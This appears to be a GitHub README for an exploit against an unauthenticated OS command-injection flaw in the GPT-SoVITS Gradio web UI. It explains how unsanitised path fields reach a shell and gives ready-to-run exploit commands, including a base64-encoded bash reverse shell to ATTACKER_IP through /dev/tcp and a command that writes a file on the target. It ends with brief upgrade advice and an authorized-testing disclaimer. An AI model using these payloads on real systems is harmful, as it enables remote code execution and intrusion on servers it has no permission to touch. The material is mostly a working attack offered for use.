0xdak/cve-2026-63766_exploitUnauthenticated OS command injection exploit for GPT-SoVITS Gradio web UI. Delivers RCE via unsanitized path parameters in audio-processing helpers, supporting reverse shells and file writes for authorized security testing.
Unauthenticated remote code execution in GPT-SoVITS's
Gradio web UI (webui.py).
The audio-processing helpers (open_asr, open_slice, open_denoise, open_uvr5)
interpolate unsanitised Gradio textbox path values straight into shell commands run
with Popen(..., shell=True). Paths are only passed through clean_path(), which merely
strips leading/trailing quotes and spaces — shell metacharacters in the middle survive.
The asr_opt_dir field isn't even existence-checked, so a command substitution $(...)
in it lands inside and runs as the web-UI process user. The web UI ships
, so a single request is enough.
-o "$(...)"<= 20250606v2pro9874 (Gradio web UI, unauthenticated)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
The injected command runs on the server; its output is not returned, so use a reverse
shell (or write to a readable path) to observe the result. asr_opt_dir is wrapped in
$(...), so it executes via command substitution regardless of whether any ASR model is
installed.
open_asr builds and runs:
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
The Gradio UI exposes its API surface at /config:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
Upgrade past GPT-SoVITS 20250606v2pro, never expose the web UI to untrusted networks,
and don't run it as a privileged user.
For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.